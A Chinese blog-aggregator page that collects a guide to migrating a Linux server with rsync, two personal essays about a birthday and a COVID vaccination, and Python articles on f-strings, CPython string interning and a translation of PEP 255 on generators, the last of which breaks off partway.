<noscript><img alt="qqq" height="253" src="https://view.spiritx.xyz/images/2021/03/25/qqq.png" width="256" /></a><br /></noscript>在恢复数据时看到我的移动备份硬盘,想着能不能用 rsync 直接把所有数据迁移到新的机器,尝试了一下,还真能实现,步骤也很简单:

两台机器都登录上,装上 rsync,新机器的操作系统不限

新机器准备

mkdir /mnt/new_server/
mount /dev/vda2 /mnt/new_server/
mount /dev/vda1 /mnt/new_server/boot/

/dev/vda 可能在不同主机商那不同,自行 df -h 查看

老机器迁移

rsync -aHAXSz --delete --numeric-ids -e "ssh" --rsync-path="rsync" --exclude={"/dev/*","/proc/*","/sys/*","/tmp/*","/run/*","/mnt/*","/lost+found","/etc/fstab","/etc/udev/rules.d/*","/etc/network/*","/etc/modprobe.d/*"} / root@新机器i:/mnt/new_server/

使用 -aHAXS 基本包含了所有的文件信息,-z 会在传输数据时压缩,--numeric-ids 不将用户和组id匹配名称
不同系统排除的目录不一样,在--exclude后面自行修改排除目录,也可以尝试 --one-file-system 选项(我没有试过

新机器配置引导和网络

mount --bind /proc /mnt/new_server/proc
mount --bind /sys /mnt/new_server/sys
mount --bind /dev /mnt/new_server/dev
mount --bind /run /mnt/new_server/run
chroot /mnt/new_server
grub-install --target=i386-pc --recheck --force /dev/vda
grub-mkconfig -o /boot/grub/grub.cfg
vim /etc/systemd/network/default.network # 修改为新主机的ip
systemctl restart systemd-networkd

之后重启即可

by Spirit at March 25, 2021 05:55 AM

March 22, 2021

anji66

人近不惑三十六,本命牛年转乾坤。

在我们浙北老家,做寿这个事,从出生是过三朝、满周岁,到成年是庆十六,接着是上有老下有小的三十六,再到含饴弄孙的六十九、七十九;垂暮之年的八十九、再到百岁老人九十九。差不多在这些年纪的时候会宴请四方亲朋。当然也有满月、五十九也有人做,满月不及三朝,现代人五十九有太似年轻,所以相对比较少。在乡下按照我的年纪应该做虚岁的,也就是2020年应该办一个三十六岁的生日宴,众所周知的疫情打乱了这一切,本命年虚岁已经三十七了,所以也就略过了这一切。


今年还是个特殊的年份,我和爱人结婚七周年。正月十一,是我和爱人的结婚纪念日。为啥是个单日子?这得问我们那边的瞎子算命先生。他说那年这天刚好是紫微星下凡,是个超出黄道吉日的极好的日子。就这样我俩步入了婚姻殿堂。一晃七年过去了,“黑心”小棉袄都上中班了。话说七年铜婚之痒,爱情保鲜度已逾期,亲情成金色不足。


早几天前,媳妇和女儿就在谋划着在这个特殊的年份给我过个生日,小棉袄一直惦记着生日蛋糕,所以买了个大蛋糕,想了想吃不完就浪费了,所以约定蛋糕带公司与同事们分享。附近新开了一个商场,有家巴黎贝甜,昨天她俩跑去定好,约定今天早上去拿,早上上班途中取了蛋糕就匆忙去了公司。蛋糕中送了一包蜡烛,一数十二根,好巧不巧,没拿稳掉了一根,变成十一根,这辈子是跟十一单数有缘,也就不分什么几根蜡烛几个寓意了,一股脑全点上,一口气全吹灭,在同事一群陈腔滥调的生日歌中许了一个愿。

02.jpg

晚上不能亏待小家伙,再去买了块小蛋糕,由她独享,只是苦了老婆大人没吃上一口,在小家伙回家看到我的时候,兴冲冲的跟我说,爸爸今天生日,我给你画了一幅画。我在煮长寿面的间隙,她小心翼翼的把她藏起来的画拿出来给我看。当拿出来的那一刻,我发现这个让她憋了两天的秘密终于忍不住可以说出来的时候,那种喜悦,上了她的眉梢入了我的心田。

01.jpg

回头想想一不听话的时候就揍她,好像我做一个女儿奴甚是不够格,这两年打她还是家鸡团团转,兴许再过两年,打她该记仇了。


by 西枫里 at March 22, 2021 01:59 PM

March 21, 2021

anji66

魔都新冠疫苗接种记

3月中旬单位接到园区通知,摸底调查愿意打新冠疫苗的人数,当然有很多人怕死,有很多谣言,什么晕倒、面瘫等等不良反应。问到我啥意见的时候,二话不说,你们不打我要打,就算全公司都不打,我一个人也要打。然后顺带把我们部门几个小伙伴一起拉上了,反正早一天晚一天都要挨一针的,又不收钱,干嘛不打。要达到免疫屏障起码需要77%的接种率,所以除了老弱病残不适合接种的,国家层面的动作肯定是每人都要挨一针的。何况现在打得都是最安全的灭活疫苗,后面随着腺病毒载体疫苗和mRNA疫苗等新式疫苗上市,指不准打得是啥呢。


接种准备动作

1、下载健康云APP,在新冠疫苗专区里面预约,填写单位编码,然后录入身份信息,就完成了。下面的几个图是大概的操作流程。

004.jpg

005.jpg

006.jpg


2、打印疫苗接种知情同意书,携带同意书和身份证去指定接种点接种。知情同意书在文末的附件中。


接种注意事项

1、现场留观30分钟

2、接种后多喝水

3、近期饮食清淡

4、接种部位当天不碰水

5、3天内不饮酒

002.jpg


接种过程

和小伙伴约好,一辆车开到松江大学城体育馆,停好车,毛毛雨下的让人心焦,这特么一个月都不开天了。从指定入口进入,带着知情同意书和身份证在信息登记处登记,拿一个留观的小纸条。

进入接种区,好家伙,100多个接种窗口,根本没排队的机会,打开接种条码扫码,然后脱掉一个袖子,裸开上臂。三下五除二一针也就完事了,医生也不多说话,接种完她再疫苗盒子上写上姓名、手机号和接种时间,顺道把前面领的留观小条子写上时间。然后我看就看到我打的疫苗是国药武汉生物制品研究所开发的灭活疫苗。

008.jpg

打完疫苗,顺着通道走到留观区等待30分钟,留观区有医疗救护室,松江这个点是在体育馆,所以留观区也就在体育馆的观众席上,体育馆中间是一帮孩子在打冰球,硬生生看了半小时狗屁不懂的冰球。这不就是我们小时候在冰上玩石子差不多嘛。附近大学生也在集体打疫苗,都是俊男靓女,突然发现我这个糟老头在人群中很是突兀。

003.jpg

时间到,拿着留观的小条子出门,时间不到,保安不放行。冒着小雨,点根烟回家。

001.jpg

知情同意书.docx


by 西枫里 at March 21, 2021 02:03 PM

February 19, 2021

pythoncat

为什么 Python 的 f-string 可以连接字符串与数字?

本文出自Python为什么系列,归档在 Github 上。
毫无疑问,Python 是一门强类型语言。强类型语言。强类型语言!(关于强弱类型话题,推荐阅读这篇 技术科普文
这就意味着,不同类型的对象通常需要先做显式地类型转化, 然后才能进行某些操作。
下面以字符串和数字为例,看看强行操作会产生什么结果:
>>> "Python猫" + 666
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
TypeError: can only concatenate str (not "int") to str
它报类型错误了(TypeError),说字符串只能连接(concatenate)字符串,不能连接 int 类型。 这正是强类型语言的基本约束。
但是,如果我们先把数字“转化”成字符串类型,再执行“+”操作,就不会报错了:
>>> "Python猫" + str(666)
'Python猫666'
上面的这个例子,对读者们来说,应该并不难理解。
由此,我们要引出一个问题:如何在不作显式类型转化的情况下,进行字符串与数字类型的拼接呢?
在《详解Python拼接字符串的七种方式》这篇文章中,它梳理了七种拼接字符串的写法,我们可以逐个来试验一下。

几种字符串拼接方式:

1、格式化类:%、format()、template

2、拼接类:+、()、join()

3、插值类:f-string

为了节省篇幅,此处直接把可以顺利拼接的 4 种写法罗列如下:
>>> "%s %d" % ("Python猫", 666)
'Python猫 666'

>>> from string import Template
>>> s = Template('${s1}${s2}')
>>> s.safe_substitute(s1='Python猫',s2=666)
'Python猫666'

>>> "Python猫{}".format(666)
'Python猫666'

>>> num = 666
>>> f"Python猫{num}"
'Python猫666'
第一种写法(即 % 格式化)来自古老的 C 语言,其中的“%d”是一个占位符,表示它将要接收一个整数,并格式化成字符串。
第二和第三种写法,它们是第一种写法的升级版,不同的是,它们的占位符是通用型的,不必指定“%s”、“%d”等等明确的类型。这两种写法中,数字类型的参数被传给特定的格式化方法(即 safe_substitute 与 format),在这些方法的内部,它们会作类型转化处理。
可以说,上述三种写法都不难理解,它们的意图都有迹可循。
但是,现在再看看最后一种写法,也就是 f-string 写法,似乎就不是那么明显了。
首先,在字符串内部,它并没有像“%格式化”那样指定占位符的类型;其次,所要拼接的数字并没有作为任何函数的参数来传递。
也就是说,在明面上根本看不出任何要作类型转化的意图。但是,由于我们已知 Python 是强类型语言,已知数字类型绝对不可能直接拼接到字符串里,因此,只能说明 f-string 语法在底层作了某种类型转化的操作!
那么,我们就可以再提出一个新的问题:f-string 语法在处理字符串与数字时,是如何实现数字的类型转化的呢?
也许有的读者会猜想它是调用了内置的 str() 或 repr()(或它们对应的魔术方法__str__() 与 __repr__()),从而实现类型转化,但是,答案并没有如此简单!
f-string 语法是在 Python 3.6 版本引入的。为了省事,我们直接找到 PEP-498 文档,在里面查阅看是否有关于实现原理的线索。
PEP 里提到,f-string 的语法格式是这样的:
f'<text> { <expression> <optional !s, !r, or !a> <optional : format specifier> } <text> ...'
其中,花括号里的内容就是要作格式化的内容,除去可选的“optional”部分后,“expression”部分就是真正要处理的内容。对应前文的例子,数字 666 就是一个 expression。
expression 会按 __format__ 协议进行格式化,但是并不会直接调用 __format__() 这个方法。
文档上指出,实际的执行过程等效于type(value).__format__(value, format_spec) 或者 format(value, format_spec)
事实上,字符串对象的 foramt() 方法跟 Python 内置的 foramt() 函数,它们都会调用__format__() 魔术方法,所以,f-string 其实是前文中 format() 格式化写法的升级版。
在默认情况下,format_spec 是一个空字符串,而format(value, "") 的效果等同于str(value) ,因此,在不指定其它 format_spec 的情况下,可以简单地认为 f-string 就是调用了 str() 来作的类型转化……
至此,我们看到了 f-string 的实现原理,明白了它在拼接字符串与数字时,效果等效于前文的 format() 格式化方法,也等效于使用 str() 进行类型转化。
写在最后:本文属于“Python为什么”系列(Python猫出品),该系列主要关注 Python 的语法、设计和发展等话题,以一个个“为什么”式的问题为切入点,试着展现 Python 的迷人魅力。更多精彩文章,请移步 Github 查看,项目地址:https://github.com/chinesehuazhou/python-whydo

February 19, 2021 12:00 AM

February 15, 2021

pythoncat

深入 Python 解释器源码,我终于搞明白了字符串驻留的原理!

作者:arpit
译者:豌豆花下猫(“Python猫”公众号作者)
声明:本翻译是出于交流学习的目的,基于 CC BY-NC-SA 4.0 授权协议。为便于阅读,内容略有改动。
每种编程语言为了表现出色,并且实现卓越的性能,都需要有大量编译器级与解释器级的优化。
由于字符串是任何编程语言中不可或缺的一个部分,因此,如果有快速操作字符串的能力,就可以迅速地提高整体的性能。
在本文中,我们将深入研究 Python 的内部实现,并了解 Python 如何使用一种名为字符串驻留(String Interning)的技术,实现解释器的高性能。 本文的目的不仅在于介绍 Python 的内部知识,而且还旨在使读者能够轻松地浏览 Python 的源代码;因此,本文中将有很多出自 CPython 的代码片段。
全文提纲如下:
(在 Python猫 公众号回复数字“0215”,下载高清思维导图)

1、什么是“字符串驻留”?

字符串驻留是一种编译器/解释器的优化方法,它通过缓存一般性的字符串,从而节省字符串处理任务的空间和时间。
这种优化方法不会每次都创建一个新的字符串副本,而是仅为每个适当的不可变值保留一个字符串副本,并使用指针引用之。
每个字符串的唯一拷贝被称为它的intern,并因此而得名 String Interning。

Python猫注:String Interning 一般被译为“字符串驻留”或“字符串留用”,在某些语言中可能习惯用 String Pool(字符串常量池)的概念,其实是对同一种机制的不同表述。intern 作为名词时,是“实习生、实习医生”的意思,在此可以理解成“驻留物、驻留值”。

查找字符串 intern 的方法可能作为公开接口公开,也可能不公开。现代编程语言如 Java、Python、PHP、Ruby、Julia 等等,都支持字符串驻留,以使其编译器和解释器做到高性能。

2、为什么要驻留字符串?

字符串驻留提升了字符串比较的速度。 如果没有驻留,当我们要比较两个字符串是否相等时,它的时间复杂度将上升到 O(n),即需要检查两个字符串中的每个字符,才能判断出它们是否相等。
但是,如果字符串是固定的,由于相同的字符串将使用同一个对象引用,因此只需检查指针是否相同,就足以判断出两个字符串是否相等,不必再逐一检查每个字符。由于这是一个非常普遍的操作,因此,它被典型地实现为指针相等性校验,仅使用一条完全没有内存引用的机器指令。
字符串驻留减少了内存占用。 Python 避免内存中充斥多余的字符串对象,通过享元设计模式共享和重用已经定义的对象,从而优化内存占用。

3、Python的字符串驻留

像大多数其它现代编程语言一样,Python 也使用字符串驻留来提高性能。在 Python 中,我们可以使用is运算符,检查两个对象是否引用了同一个内存对象。
因此,如果两个字符串对象引用了相同的内存对象,则is运算符将得出True,否则为False
>>> 'python' is 'python'
True
我们可以使用这个特定的运算符,来判断哪些字符串是被驻留的。在 CPython 的,字符串驻留是通过以下函数实现的,声明在 unicodeobject.h 中,定义在 unicodeobject.c 中。
PyAPI_FUNC(void) PyUnicode_InternInPlace(PyObject **);
为了检查一个字符串是否被驻留,CPython 实现了一个名为PyUnicode_CHECK_INTERNED的宏,同样是定义在 unicodeobject.h 中。
这个宏表明了 Python 在PyASCIIObject结构中维护着一个名为interned的成员变量,它的值表示相应的字符串是否被驻留。
#define PyUnicode_CHECK_INTERNED(op) \
    (((PyASCIIObject *)(op))->state.interned)

4、字符串驻留的原理

在 CPython 中,字符串的引用被一个名为interned的 Python 字典所存储、访问和管理。 该字典在第一次调用字符串驻留时,被延迟地初始化,并持有全部已驻留字符串对象的引用。

4.1 如何驻留字符串?

负责驻留字符串的核心函数是PyUnicode_InternInPlace,它定义在 unicodeobject.c 中,当调用时,它会创建一个准备容纳所有驻留的字符串的字典interned,然后登记入参中的对象,令其键和值都使用相同的对象引用。
以下函数片段显示了 Python 实现字符串驻留的过程。
void
PyUnicode_InternInPlace(PyObject **p)
{
    PyObject *s = *p;

    .........

    // Lazily build the dictionary to hold interned Strings
    if (interned == NULL) {
        interned = PyDict_New();
        if (interned == NULL) {
            PyErr_Clear();
            return;
        }
    }

    PyObject *t;

    // Make an entry to the interned dictionary for the
    // given object
    t = PyDict_SetDefault(interned, s, s);

    .........
    
    // The two references in interned dict (key and value) are
    // not counted by refcnt.
    // unicode_dealloc() and _PyUnicode_ClearInterned() take
    // care of this.
    Py_SET_REFCNT(s, Py_REFCNT(s) - 2);

    // Set the state of the string to be INTERNED
    _PyUnicode_STATE(s).interned = SSTATE_INTERNED_MORTAL;
}

4.2 如何清理驻留的字符串?

清理函数从interned字典中遍历所有的字符串,调整这些对象的引用计数,并把它们标记为NOT_INTERNED,使其被垃圾回收。一旦所有的字符串都被标记为NOT_INTERNED,则interned字典会被清空并删除。
这个清理函数就是_PyUnicode_ClearInterned,在 unicodeobject.c 中定义。
void
_PyUnicode_ClearInterned(PyThreadState *tstate)
{
    .........

    // Get all the keys to the interned dictionary
    PyObject *keys = PyDict_Keys(interned);

    .........

    // Interned Unicode strings are not forcibly deallocated;
    // rather, we give them their stolen references back
    // and then clear and DECREF the interned dict.

    for (Py_ssize_t i = 0; i < n; i++) {
        PyObject *s = PyList_GET_ITEM(keys, i);

        .........

        switch (PyUnicode_CHECK_INTERNED(s)) {
        case SSTATE_INTERNED_IMMORTAL:
            Py_SET_REFCNT(s, Py_REFCNT(s) + 1);
            break;
        case SSTATE_INTERNED_MORTAL:
            // Restore the two references (key and value) ignored
            // by PyUnicode_InternInPlace().
            Py_SET_REFCNT(s, Py_REFCNT(s) + 2);
            break;
        case SSTATE_NOT_INTERNED:
            /* fall through */
        default:
            Py_UNREACHABLE();
        }

        // marking the string to be NOT_INTERNED
        _PyUnicode_STATE(s).interned = SSTATE_NOT_INTERNED;
    }

    // decreasing the reference to the initialized and
    // access keys object.
    Py_DECREF(keys);

    // clearing the dictionary
    PyDict_Clear(interned);

    // clearing the object interned
    Py_CLEAR(interned);
}

5、字符串驻留的实现

既然了解了字符串驻留及清理的内部原理,我们就可以找出 Python 中所有会被驻留的字符串。
为了做到这点,我们要做的就是在 CPython 源代码中查找PyUnicode_InternInPlace 函数的调用,并查看其附近的代码。下面是在 Python 中关于字符串驻留的一些有趣的发现。

5.1 变量、常量与函数名

CPython 对常量(例如函数名、变量名、字符串字面量等)执行字符串驻留。
以下代码出自codeobject.c,它表明在创建新的PyCode对象时,解释器将对所有编译期的常量、名称和字面量进行驻留。
PyCodeObject *
PyCode_NewWithPosOnlyArgs(int argcount, int posonlyargcount, int kwonlyargcount,
                          int nlocals, int stacksize, int flags,
                          PyObject *code, PyObject *consts, PyObject *names,
                          PyObject *varnames, PyObject *freevars, PyObject *cellvars,
                          PyObject *filename, PyObject *name, int firstlineno,
                          PyObject *linetable)
{

    ........

    if (intern_strings(names) < 0) {
        return NULL;
    }

    if (intern_strings(varnames) < 0) {
        return NULL;
    }

    if (intern_strings(freevars) < 0) {
        return NULL;
    }

    if (intern_strings(cellvars) < 0) {
        return NULL;
    }

    if (intern_string_constants(consts, NULL) < 0) {
        return NULL;
    }

    ........

}

5.2 字典的键

CPython 还会驻留任何字典对象的字符串键。
当在字典中插入元素时,解释器会对该元素的键作字符串驻留。以下代码出自 dictobject.c,展示了实际的行为。
有趣的地方:在PyUnicode_InternInPlace函数被调用处有一条注释,它问道,我们是否真的需要对所有字典中的全部键进行驻留?
int
PyDict_SetItemString(PyObject *v, const char *key, PyObject *item)
{
    PyObject *kv;
    int err;
    kv = PyUnicode_FromString(key);
    if (kv == NULL)
        return -1;

    // Invoking String Interning on the key
    PyUnicode_InternInPlace(&kv); /* XXX Should we really? */

    err = PyDict_SetItem(v, kv, item);
    Py_DECREF(kv);
    return err;
}

5.3 任何对象的属性

Python 中对象的属性可以通过setattr函数显式地设置,也可以作为类成员的一部分而隐式地设置,或者在其数据类型中预定义。
CPython 会驻留所有这些属性名,以便实现快速查找。 以下是函数PyObject_SetAttr的代码片段,该函数定义在文件object.c中,负责为 Python 对象设置新属性。
int
PyObject_SetAttr(PyObject *v, PyObject *name, PyObject *value)
{

    ........

    PyUnicode_InternInPlace(&name);

    ........
}

5.4 显式地驻留

Python 还支持通过sys模块中的intern函数进行显式地字符串驻留。
当使用任何字符串对象调用此函数时,该字符串对象将被驻留。以下是 sysmodule.c 文件的代码片段,它展示了在sys_intern_impl函数中的字符串驻留过程。
static PyObject *
sys_intern_impl(PyObject *module, PyObject *s)
{

    ........

    if (PyUnicode_CheckExact(s)) {
        Py_INCREF(s);
        PyUnicode_InternInPlace(&s);
        return s;
    }

    ........
}

6、字符串驻留的其它发现

只有编译期的字符串会被驻留。 在解释时或编译时指定的字符串会被驻留,而动态创建的字符串则不会。

Python猫注:这一条规则值得展开思考,我曾经在上面踩过坑……有两个知识点,我相信 99% 的人都不知道:字符串的 join() 方法是动态创建字符串,因此其创建的字符串不会被驻留;常量折叠机制也发生在编译期,因此有时候容易把它跟字符串驻留搞混淆。推荐阅读《join()方法的神奇用处与Intern机制的软肋

包含 ASCII 字符和下划线的字符串会被驻留。 在编译期间,当对字符串字面量进行驻留时,CPython 确保仅对匹配正则表达式[a-zA-Z0-9_]*的常量进行驻留,因为它们非常贴近于 Python 的标识符。

Python猫注:关于 Python 中标识符的命名规则,在 Python2 版本只有“字母、数字和下划线”,但在 Python 3.x 版本中,已经支持 Unicode 编码。这部分内容推荐阅读《醒醒!Python已经支持中文变量名啦!

参考材料

February 15, 2021 12:00 AM

[译] PEP-255:简单的生成器

创建日期:2001-05-18
合入Python版本:2.2
译者豌豆花下猫Python猫 公众号作者)

摘要

这个 PEP 想在 Python 中引入生成器的概念,以及一个新的表达式,即 yield 表达式。

动机

当一个生产者函数在处理某些艰难的任务时,它可能需要维持住生产完某个值时的状态,大多数编程语言都提供不了既舒服又高效的方案,除了往参数列表中添加回调函数,然后每生产一个值时就去调用一下。
例如,标准库中的tokenize.py采用这种方法:调用者必须传一个 tokeneater 函数给 tokenize() ,当 tokenize() 找到下一个 token 时再调用。这使得 tokenize 能以自然的方式编码,但程序调用 tokenize 会变得极其复杂,因为它需要记住每次回调前最后出现的是哪个 token(s)。tabnanny.py中的 tokeneater 函数是处理得比较好的例子,它在全局变量中维护了一个状态机,用于记录已出现的 token 和预期会出现的 token 。这很难正确地工作,而且也挺难让人理解。不幸的是,它已经是最标准的解决方法了。
有一个替代方案是一次性生成 Python 程序的全部解析,并存入超大列表中。这样 tokenize 客户端可以用自然的方式,即使用局部变量和局部控制流(例如循环和嵌套的 if 语句),来跟踪其状态。然而这并不实用:程序会变得臃肿,因此不能在实现整个解析所需的内存上放置先验限制;而有些 tokenize 客户端仅仅想要查看某个特定的东西是否曾出现(例如,future 声明,或者像 IDLE 做的那样,只是首个缩进的声明),因此解析整个程序就是严重地浪费时间。
另一个替代方案是把 tokenize 变为一个迭代器【注释1】,每次调用它的 next() 方法时再传递下一个 token。这对调用者来说很便利,就像前一方案把结果存入大列表一样,同时没有内存与“想要早点退出怎么办”的缺点。然而,这个方案也把 tokenize 的负担转化成记住 next() 的调用状态,读者只要瞄一眼 tokenize.tokenize_loop() ,就会意识到这是一件多么可怕的苦差事。或者想象一下,用递归算法来生成普通树结构的节点:若把它投射成一个迭代器框架实现,就需要手动地移除递归状态并维护遍历的状态。
第四种选择是在不同的线程中运行生产者和消费者。这允许两者以自然的方式维护其状态,所以都会很舒服。实际上,Python 源代码发行版中的 Demo/threads/Generator.py 就提供了一个可用的同步通信(synchronized-communication)类,来完成一般的任务。但是,这在没有线程的平台上无法运用,而且就算可用也会很慢(与不用线程可取得的成就相比)。
最后一个选择是使用 Python 的变种 Stackless 【注释2-3】来实现,它支持轻量级的协程。它与前述的线程方案有相同的编程优势,效率还更高。然而,Stackless 在 Python 核心层存在争议,Jython 也可能不会实现相同的语义。这个 PEP 不是讨论这些问题的地方,但完全可以说生成器是 Stackless 相关功能的子集在当前 CPython 中的一种简单实现,而且可以说,其它 Python 实现起来也相对简单。
以上分析完了已有的方案。其它一些高级语言也提供了不错的解决方案,特别是 Sather 的迭代器,它受到 CLU 的迭代器启发【注释4】;Icon 的生成器,一种新颖的语言,其中每个表达式都是生成器【注释5】。它们虽有差异,但基本的思路是一致的:提供一种函数,它可以返回中间结果(“下一个值”)给它的调用者,同时还保存了函数的局部状态,以便在停止的位置恢复(译注:resum,下文也译作激活)调用。一个非常简单的例子:
def fib():
    a, b = 0, 1
    while 1:
       yield b
       a, b = b, a+b
当 fib() 首次被调用时,它将 a 设为 0,将 b 设为 1,然后生成 b 给其调用者。调用者得到 1。当 fib 恢复时,从它的角度来看,yield 语句实际上跟 print 语句相同:fib 继续执行,且所有局部状态完好无损。然后,a 和 b 的值变为 1,并且 fib 再次循环到 yield,生成 1 给它的调用者。以此类推。 从 fib 的角度来看,它只是提供一系列结果,就像用了回调一样。但是从调用者的角度来看,fib 的调用就是一个可随时恢复的可迭代对象。跟线程一样,这允许两边以最自然的方式进行编码;但与线程方法不同,这可以在所有平台上高效完成。事实上,恢复生成器应该不比函数调用昂贵。
同样的方法适用于许多生产者/消费者函数。例如,tokenize.py 可以生成下一个 token 而不是用它作为参数调用回调函数,而且 tokenize 客户端可以以自然的方式迭代 tokens:Python 生成器是一种迭代器,但是特别强大。

设计规格:yield

引入了一种新的表达式:

yield_stmt:“yield”expression_list

yield 是一个新的关键字,因此需要一个 future 声明【注释8】来进行引入:在早期版本中,若想使用生成器的模块,必须在接近头部处包含以下行(详见 PEP 236):
from __future__ import generators
没有引入 future 模块就使用 yield 关键字,将会告警。 在后续的版本中,yield 将是一个语言关键字,不再需要 future 语句。
yield 语句只能在函数内部使用。包含 yield 语句的函数被称为生成器函数。从各方面来看,生成器函数都只是个普通函数,但在它的代码对象的 co_flags 中设置了新的“CO_GENERATOR”标志。
当调用生成器函数时,实际参数还是绑定到函数的局部变量空间,但不会执行代码。得到的是一个 generator-iterator 对象;这符合迭代器协议【注释6】,因此可用于 for 循环。注意,在上下文无歧义的情况下,非限定名称 “generator” 既可以指生成器函数,又可以指生成器-迭代器(generator-iterator)。
每次调用 generator-iterator 的 next() 方法时,才会执行 generator-function 体中的代码,直至遇到 yield 或 return 语句(见下文),或者直接迭代到尽头。
如果执行到 yield 语句,则函数的状态会被冻结,并将 expression_list 的值返回给 next() 的调用者。“冻结”是指挂起所有本地状态,包括局部变量、指令指针和内部堆栈:保存足够的信息,以便在下次调用 next() 时,函数可以继续执行,仿佛 yield 语句只是一次普通的外部调用。
限制:yield 语句不能用于 try-finally 结构的 try 子句中。困难的是不能保证生成器会被再次激活(resum),因此无法保证 finally 语句块会被执行;这就太违背 finally 的用处了。
限制:生成器在活跃状态时无法被再次激活:
>>> def g():
...     i = me.next()
...     yield i
>>> me = g()
>>> me.next()
Traceback (most recent call last):
 ...
 File "<string>", line 2, in g
ValueError: generator already executing

设计规格:return

生成器函数还可以包含以下形式的return语句:
return
注意,生成器主体中的 return 语句不允许使用 expression_list (然而当然,它们可以嵌套地使用在生成器里的非生成器函数中)。
当执行到 return 语句时,程序会正常 return,继续执行恰当的 finally 子句(如果存在)。然后引发一个 StopIteration 异常,表明迭代器已经耗尽。如果程序没有显式 return 而执行到生成器的末尾,也会引发 StopIteration 异常。
请注意,对于生成器函数和非生成器函数,return 意味着“我已经完成,并且没有任何有趣的东西可以返回”。
注意,return 并不一定会引发 StopIteration :关键在于如何处理封闭的 try-except 结构。 例如:
>>> def f1():
...     try:
...         return
...     except:
...        yield 1
>>> print list(f1())
[]
因为,就像在任何函数中一样,return 只是退出,但是:
>>> def f2():
...     try:
...         raise StopIteration
...     except:
...         yield 42
>>> print list(f2())
[42]
因为 StopIteration 被一个简单的 except 捕获,就像任意异常一样。

设计规格:生成器和异常传播

如果一个未捕获的异常——包括但不限于 StopIteration——由生成器函数引发或传递,则异常会以通常的方式传递给调用者,若试图重新激活生成器函数的话,则会引发 StopIteration 。 换句话说,未捕获的异常终结了生成器的使用寿命。
示例(不合语言习惯,仅作举例):
>>> def f():
...     return 1/0
>>> def g():
...     yield f()  # the zero division exception propagates
...     yield 42   # and we'll never get here
>>> k = g()
>>> k.next()
Traceback (most recent call last):
  File "<stdin>", line 1, in ?
  File "<stdin>", line 2, in g
  File "<stdin>", line 2, in f
ZeroDivisionError: integer division or modulo by zero
>>> k.next()  # and the generator cannot be resumed
Traceback (most recent call last):
  File "<stdin>", line 1, in ?
StopIteration
>>>

设计规格:Try/Exception/Finally

前面提过,yield 语句不能用于 try-finally 结构的 try 子句中。这带来的结果是生成器要非常谨慎地分配关键的资源。但是在其它地方,yield 语句并无限制,例如 finally 子句、except 子句、或者 try-except 结构的 try 子句:
>>> def f():
...     try:
...         yield 1
...         try:
...             yield 2
...             1/0
...             yield 3  # never get here
...         except ZeroDivisionError:
...             yield 4
...             yield 5
...             raise
...         except:
...             yield 6
...         yield 7     # the "raise" above stops this
...     except:
...         yield 8
...     yield 9
...     try:
...         x = 12
...     finally:
...        yield 10
...     yield 11
>>> print list(f())
[1, 2, 4, 5, 8, 9, 10, 11]
>>>

示例

# 二叉树类
class Tree:

    def __init__(self, label, left=None, right=None):
        self.label = label
        self.left = left
        self.right = right

    def __repr__(self, level=0, indent="    "):
        s = level*indent + `self.label`
        if self.left:
            s = s + "\n" + self.left.__repr__(level+1, indent)
        if self.right:
            s = s + "\n" + self.right.__repr__(level+1, indent)
        return s

    def __iter__(self):
        return inorder(self)

# 从列表中创建 Tree
def tree(list):
    n = len(list)
    if n == 0:
        return []
    i = n / 2
    return Tree(list[i], tree(list[:i]), tree(list[i+1:]))

# 递归生成器,按顺序生成树标签
def inorder(t):
    if t:
        for x in inorder(t.left):
            yield x
        yield t.label
        for x in inorder(t.right):
            yield x

# 展示:创建一棵树
t = tree("ABCDEFGHIJKLMNOPQRSTUVWXYZ")
# 按顺序打印树的节点
for x in t:
    print x,
print

# 非递归生成器
def inorder(node):
    stack = []
    while node:
        while node.left:
            stack.append(node)
            node = node.left
        yield node.label
        while not node.right:
            try:
                node = stack.pop()
            except IndexError:
                return
            yield node.label
        node = node.right

# 练习非递归生成器
for x in t:
    print x,
print
Both output blocks display:

A B C D E F G H I J K L M N O P Q R S T U V W X Y Z

问答

为什么重用 def 而不用新的关键字?

请参阅下面的 BDFL 声明部分。

为什么用新的关键字yield而非内置函数?

Python 中通过关键字能更好地表达控制流,即 yield 是一个控制结构。而且为了 Jython 的高效实现,编译器需要在编译时就确定潜在的挂起点,新的关键字会使这一点变得简单。CPython 的实现也大量利用它来检测哪些函数是生成器函数(尽管一个新的关键字替代 def 就能解决 CPython 的问题,但人们问“为什么要新的关键字”问题时,并不想要新的关键字)。

为什么不是其它不带新关键字的特殊语法?

例如,为何不用下面用法而用 yield 3:
return 3 and continue
return and continue 3
return generating 3
continue return 3
return >> , 3
from generator return 3
return >> 3
return << 3
>> 3
<< 3
* 3
我没有错过一个“眼色”吧?在数百条消息中,我算了每种替代方案有三条建议,然后总结出上面这些。不需要用新的关键字会很好,但使用 yield 会更好——我个人认为,在一堆无意义的关键字或运算符序列中,yield 更具表现力。尽管如此,如果这引起足够的兴趣,支持者应该发起一个提案,交给 Guido 裁断。

为什么允许用return,而不强制用StopIteration?

“StopIteration”的机制是底层细节,就像 Python 2.1 中的“IndexError”的机制一样:实现时需要做一些预先定义好的东西,而 Python 为高级用户开放了这些机制。尽管不强制要求每个人都在这个层级工作。 “return”在任何一种函数中都意味着“我已经完成”,这很容易解读和使用。注意,return 并不总是等同于 try-except 结构中的 raise StopIteration(参见“设计规格:Return”部分)。

那为什么不允许return一个表达式?

也许有一天会允许。 在 Icon 中,return expr 意味着“我已经完成”和“但我还有最后一个有用的值可以返回,这就是它”。 在初始阶段,不强制使用return expr的情况下,使用 yield 仅仅传递值,这很简单明了。

BDFL声明

Issue

引入另一个新的关键字(比如,gen 或 generator )来代替 def ,或以其它方式改变语法,以区分生成器函数和非生成器函数。

Con

实际上(你如何看待它们),生成器函数,但它们具有可恢复性。使它们建立起来的机制是一个相对较小的技术问题,引入新的关键字无助于强调生成器是如何启动的机制(生成器生命中至关重要却很小的部分)。

Pro

实际上(你如何看待它们),生成器函数实际上是工厂函数,它们就像施了魔法一样地生产生成器-迭代器。 在这方面,它们与非生成器函数完全不同,更像是构造函数而不是函数,因此重用 def 无疑是令人困惑的。藏在内部的 yield 语句不足以警示它们的语义是如此不同。

BDFL

